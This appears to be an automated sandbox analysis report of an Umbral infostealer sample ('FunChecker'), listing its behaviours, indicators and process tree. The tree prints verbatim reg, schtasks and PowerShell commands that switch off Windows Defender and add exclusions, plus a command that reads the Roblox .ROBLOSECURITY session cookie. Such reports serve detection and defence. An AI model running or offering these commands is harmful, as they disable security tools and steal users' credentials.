umbral | 5197fcb7b98a65eabf8151d847bb394eccd65a184f06a82f674a9b95e62e701c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	system32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Microsoft OneDrive.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	XClient.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1696	powershell.exe
1372	powershell.exe
3596	powershell.exe
424	powershell.exe
1488	powershell.exe
348	powershell.exe
3292	powershell.exe
4160	powershell.exe
4960	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	system32.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XClient.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe

Executes dropped EXE 3 IoCs

pid	Process
2280	system32.exe
848	Microsoft OneDrive.exe
1420	XClient.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Wine	system32.exe
Key opened	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Wine	Microsoft OneDrive.exe
Key opened	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Wine	XClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/memory/3604-1-0x0000000000F80000-0x00000000023DC000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft OneDrive.exe"	Microsoft OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\FunCheker = "C:\\Users\\Admin\\AppData\\Roaming\\FunCheker.exe"	XClient.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	system32.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com
10	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	XClient.exe
File opened for modification	\??\PhysicalDrive0	system32.exe
File opened for modification	\??\PhysicalDrive0	Microsoft OneDrive.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2280	system32.exe
848	Microsoft OneDrive.exe
1420	XClient.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
2700	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
2320	wmic.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4212	schtasks.exe
2004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2280	system32.exe
2280	system32.exe
848	Microsoft OneDrive.exe
848	Microsoft OneDrive.exe
1420	XClient.exe
1420	XClient.exe
424	powershell.exe
424	powershell.exe
424	powershell.exe
1488	powershell.exe
1488	powershell.exe
1488	powershell.exe
1488	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
4160	powershell.exe
4160	powershell.exe
4160	powershell.exe
4160	powershell.exe
3824	taskmgr.exe
3824	taskmgr.exe
2184	powershell.exe
2184	powershell.exe
1372	powershell.exe
1372	powershell.exe
3824	taskmgr.exe
3824	taskmgr.exe
1372	powershell.exe
2184	powershell.exe
1372	powershell.exe
2184	powershell.exe
3824	taskmgr.exe
3824	taskmgr.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
3824	taskmgr.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
4960	powershell.exe
4960	powershell.exe
3596	powershell.exe
4960	powershell.exe
3824	taskmgr.exe
4960	powershell.exe
3824	taskmgr.exe
348	powershell.exe
348	powershell.exe
348	powershell.exe
3824	taskmgr.exe
348	powershell.exe
3292	powershell.exe
3292	powershell.exe
3292	powershell.exe
3824	taskmgr.exe
3292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	848	Microsoft OneDrive.exe
Token: SeDebugPrivilege	2280	system32.exe
Token: SeDebugPrivilege	1420	XClient.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	3824	taskmgr.exe
Token: SeSystemProfilePrivilege	3824	taskmgr.exe
Token: SeCreateGlobalPrivilege	3824	taskmgr.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeDebugPrivilege	3292	powershell.exe
Token: SeIncreaseQuotaPrivilege	4420	wmic.exe
Token: SeSecurityPrivilege	4420	wmic.exe
Token: SeTakeOwnershipPrivilege	4420	wmic.exe
Token: SeLoadDriverPrivilege	4420	wmic.exe
Token: SeSystemProfilePrivilege	4420	wmic.exe
Token: SeSystemtimePrivilege	4420	wmic.exe
Token: SeProfSingleProcessPrivilege	4420	wmic.exe
Token: SeIncBasePriorityPrivilege	4420	wmic.exe
Token: SeCreatePagefilePrivilege	4420	wmic.exe
Token: SeBackupPrivilege	4420	wmic.exe
Token: SeRestorePrivilege	4420	wmic.exe
Token: SeShutdownPrivilege	4420	wmic.exe
Token: SeDebugPrivilege	4420	wmic.exe
Token: SeSystemEnvironmentPrivilege	4420	wmic.exe
Token: SeRemoteShutdownPrivilege	4420	wmic.exe
Token: SeUndockPrivilege	4420	wmic.exe
Token: SeManageVolumePrivilege	4420	wmic.exe
Token: 33	4420	wmic.exe
Token: 34	4420	wmic.exe
Token: 35	4420	wmic.exe
Token: 36	4420	wmic.exe
Token: SeIncreaseQuotaPrivilege	4420	wmic.exe
Token: SeSecurityPrivilege	4420	wmic.exe
Token: SeTakeOwnershipPrivilege	4420	wmic.exe
Token: SeLoadDriverPrivilege	4420	wmic.exe
Token: SeSystemProfilePrivilege	4420	wmic.exe
Token: SeSystemtimePrivilege	4420	wmic.exe
Token: SeProfSingleProcessPrivilege	4420	wmic.exe
Token: SeIncBasePriorityPrivilege	4420	wmic.exe
Token: SeCreatePagefilePrivilege	4420	wmic.exe
Token: SeBackupPrivilege	4420	wmic.exe
Token: SeRestorePrivilege	4420	wmic.exe
Token: SeShutdownPrivilege	4420	wmic.exe
Token: SeDebugPrivilege	4420	wmic.exe
Token: SeSystemEnvironmentPrivilege	4420	wmic.exe
Token: SeRemoteShutdownPrivilege	4420	wmic.exe
Token: SeUndockPrivilege	4420	wmic.exe
Token: SeManageVolumePrivilege	4420	wmic.exe
Token: 33	4420	wmic.exe
Token: 34	4420	wmic.exe
Token: 35	4420	wmic.exe
Token: 36	4420	wmic.exe
Token: SeIncreaseQuotaPrivilege	3692	wmic.exe
Token: SeSecurityPrivilege	3692	wmic.exe
Token: SeTakeOwnershipPrivilege	3692	wmic.exe
Token: SeLoadDriverPrivilege	3692	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe
3824	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1420	XClient.exe
848	Microsoft OneDrive.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 1452	3604	FunChecker.vmp.exe	73
PID 3604 wrote to memory of 1452	3604	FunChecker.vmp.exe	73
PID 3604 wrote to memory of 4408	3604	FunChecker.vmp.exe	75
PID 3604 wrote to memory of 4408	3604	FunChecker.vmp.exe	75
PID 3604 wrote to memory of 3256	3604	FunChecker.vmp.exe	77
PID 3604 wrote to memory of 3256	3604	FunChecker.vmp.exe	77
PID 3604 wrote to memory of 4316	3604	FunChecker.vmp.exe	78
PID 3604 wrote to memory of 4316	3604	FunChecker.vmp.exe	78
PID 3604 wrote to memory of 2280	3604	FunChecker.vmp.exe	81
PID 3604 wrote to memory of 2280	3604	FunChecker.vmp.exe	81
PID 3604 wrote to memory of 2280	3604	FunChecker.vmp.exe	81
PID 3604 wrote to memory of 848	3604	FunChecker.vmp.exe	82
PID 3604 wrote to memory of 848	3604	FunChecker.vmp.exe	82
PID 3604 wrote to memory of 848	3604	FunChecker.vmp.exe	82
PID 3604 wrote to memory of 1420	3604	FunChecker.vmp.exe	83
PID 3604 wrote to memory of 1420	3604	FunChecker.vmp.exe	83
PID 3604 wrote to memory of 1420	3604	FunChecker.vmp.exe	83
PID 4316 wrote to memory of 1512	4316	cmd.exe	84
PID 4316 wrote to memory of 1512	4316	cmd.exe	84
PID 1452 wrote to memory of 1552	1452	cmd.exe	85
PID 1452 wrote to memory of 1552	1452	cmd.exe	85
PID 1452 wrote to memory of 1120	1452	cmd.exe	86
PID 1452 wrote to memory of 1120	1452	cmd.exe	86
PID 1452 wrote to memory of 2880	1452	cmd.exe	87
PID 1452 wrote to memory of 2880	1452	cmd.exe	87
PID 1452 wrote to memory of 1880	1452	cmd.exe	88
PID 1452 wrote to memory of 1880	1452	cmd.exe	88
PID 1452 wrote to memory of 1924	1452	cmd.exe	89
PID 1452 wrote to memory of 1924	1452	cmd.exe	89
PID 1452 wrote to memory of 3016	1452	cmd.exe	90
PID 1452 wrote to memory of 3016	1452	cmd.exe	90
PID 1452 wrote to memory of 5108	1452	cmd.exe	91
PID 1452 wrote to memory of 5108	1452	cmd.exe	91
PID 2280 wrote to memory of 424	2280	system32.exe	92
PID 2280 wrote to memory of 424	2280	system32.exe	92
PID 2280 wrote to memory of 424	2280	system32.exe	92
PID 1452 wrote to memory of 2360	1452	cmd.exe	94
PID 1452 wrote to memory of 2360	1452	cmd.exe	94
PID 1452 wrote to memory of 4976	1452	cmd.exe	95
PID 1452 wrote to memory of 4976	1452	cmd.exe	95
PID 1452 wrote to memory of 4156	1452	cmd.exe	96
PID 1452 wrote to memory of 4156	1452	cmd.exe	96
PID 1452 wrote to memory of 3996	1452	cmd.exe	97
PID 1452 wrote to memory of 3996	1452	cmd.exe	97
PID 1452 wrote to memory of 3804	1452	cmd.exe	98
PID 1452 wrote to memory of 3804	1452	cmd.exe	98
PID 1452 wrote to memory of 1320	1452	cmd.exe	99
PID 1452 wrote to memory of 1320	1452	cmd.exe	99
PID 1452 wrote to memory of 484	1452	cmd.exe	100
PID 1452 wrote to memory of 484	1452	cmd.exe	100
PID 1452 wrote to memory of 200	1452	cmd.exe	101
PID 1452 wrote to memory of 200	1452	cmd.exe	101
PID 1452 wrote to memory of 4312	1452	cmd.exe	102
PID 1452 wrote to memory of 4312	1452	cmd.exe	102
PID 1452 wrote to memory of 4336	1452	cmd.exe	103
PID 1452 wrote to memory of 4336	1452	cmd.exe	103
PID 1452 wrote to memory of 4072	1452	cmd.exe	104
PID 1452 wrote to memory of 4072	1452	cmd.exe	104
PID 1452 wrote to memory of 808	1452	cmd.exe	105
PID 1452 wrote to memory of 808	1452	cmd.exe	105
PID 1452 wrote to memory of 3824	1452	cmd.exe	127
PID 1452 wrote to memory of 3824	1452	cmd.exe	127
PID 1452 wrote to memory of 392	1452	cmd.exe	107
PID 1452 wrote to memory of 392	1452	cmd.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FunChecker.vmp.exe
"C:\Users\Admin\AppData\Local\Temp\FunChecker.vmp.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\avdisable.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1552
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:1120
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5108
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2360
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4976
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4156
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:3996
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3804
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:1320
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:484
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:200
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4312
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:4336
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:4072
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:808
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3824
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:392
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:816
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:304
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:3924
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2440
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:916
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\clear_av.bat" "
  2⤵
  PID:4408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anti_pros_disp.bat" "
  2⤵
  PID:3256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FunChecker.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1512
- C:\Users\Admin\AppData\Local\Temp\system32.exe
  "C:\Users\Admin\AppData\Local\Temp\system32.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:424
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2184
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
